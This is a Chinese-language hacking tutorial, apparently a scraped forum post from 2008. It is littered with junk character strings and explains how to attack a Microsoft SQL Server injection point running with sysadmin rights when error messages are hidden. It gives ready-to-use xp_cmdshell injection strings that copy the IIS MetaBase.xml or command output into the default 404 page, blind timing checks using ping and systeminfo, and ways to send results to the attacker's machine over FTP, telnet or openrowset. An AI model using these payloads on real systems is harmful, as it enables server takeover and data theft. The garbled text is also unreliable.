遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
$ ]5 [* _( S. F6 r0 k. Y# }
. z4 s9 f) P( w4 k- \ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。1 N& F( m# T6 Y
\" m G' o: H" ]$ f& ? 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。 ~2 F) f' K1 s/ @
* S8 m1 t/ Z& H1 n
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm$ I# E0 \# q! @" K/ C
! Y8 ^- Q( q7 R5 U: h; F& {
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
" V9 i: R: M# P7 x9 b( @
9 j3 o5 ~% z2 u0 }4 ~$ F ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。* d. {# B" A0 D# Z* u
, L2 m9 {! n! M- _
执行命令得到回显) y. b1 ?" T5 I1 w- x2 z s
$ r, w i$ Y b0 O# U 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--2 q* b l1 @3 O) a9 f' x7 T
* a' D: X7 e! V: h8 @3 ^: R
得到文件也shi相同,把文件copy到404b.htm就行了1 U/ Z( y+ \( Z" ~2 w0 l. I( {
h I7 G' g7 n- y
by 28ice, 2008/6/26; V* B: e) R/ ]! ]& m$ h" ^
% J/ {" W# m3 L. S) ?1 B 摘自 28度的冰
/ c, S) p' z9 x% T D5 f- e# Y+ J" q% @* j0 |
盲注判断权限和操作系统版本
6 U1 a) l0 e! c! k) \6 [+ `$ `( K, m
w) \# \; L8 I/ M( T0 S 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?1 Q/ M2 {6 Z6 S
; n" o8 c4 p* O 最简单的,可能以用这样的方法: A( j0 y- z) f! G9 \: M5 X( n
1 q. h5 X9 `9 v! l5 S1 m
1=(select IS_SRVROLEMEMBER(’sysadmin’))/ |/ Q6 Y7 V, R( g+ m8 B
0 n! O- G# O% U/ v# I2 e 当然,有些情况下,这个方法并不奏效。' K2 r* ~2 C! G& K) I2 I# z* r1 D
; y( R6 p& K* d- @: w+ U" U
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。1 Q8 N! y- E, P6 V4 Z; \
t: [8 r) P, G
有个3办法可能以解决这个问题
/ e5 C/ p, m* J* W( [1 i9 a% e2 r0 W5 e, H! t- ]
a.把执行结果写到404b.htm,具体请看我的上一篇文章
' \! L" f5 ?& `8 z m4 ]( a/ U8 B$ h; E% ~, a$ t/ L. M% j
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
" e0 A ]2 W2 G5 \8 d; y# {
( O. I/ U% x, h4 T, f5 v c.如果1433端口可能以连接,那干脆新建个sql登录5 a8 `& a9 q% g
2 S; y' S, r& A6 C5 S
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数1 z; c' K, g1 B; |, V7 u7 {
; T' f: j- J! l" v- Z& z ?5 [ 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下3 ~4 R7 a# Y% X7 P0 J# e
4 n9 G1 f0 `9 S2 ]& |/ C
很简单) p1 u7 y/ l$ m2 d9 t( [9 \
$ H- C) N2 Y: \6 w; j
执行systeminfo2 z1 W F/ R: z
6 ?4 c* j U8 z8 @$ W& m9 G* u 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |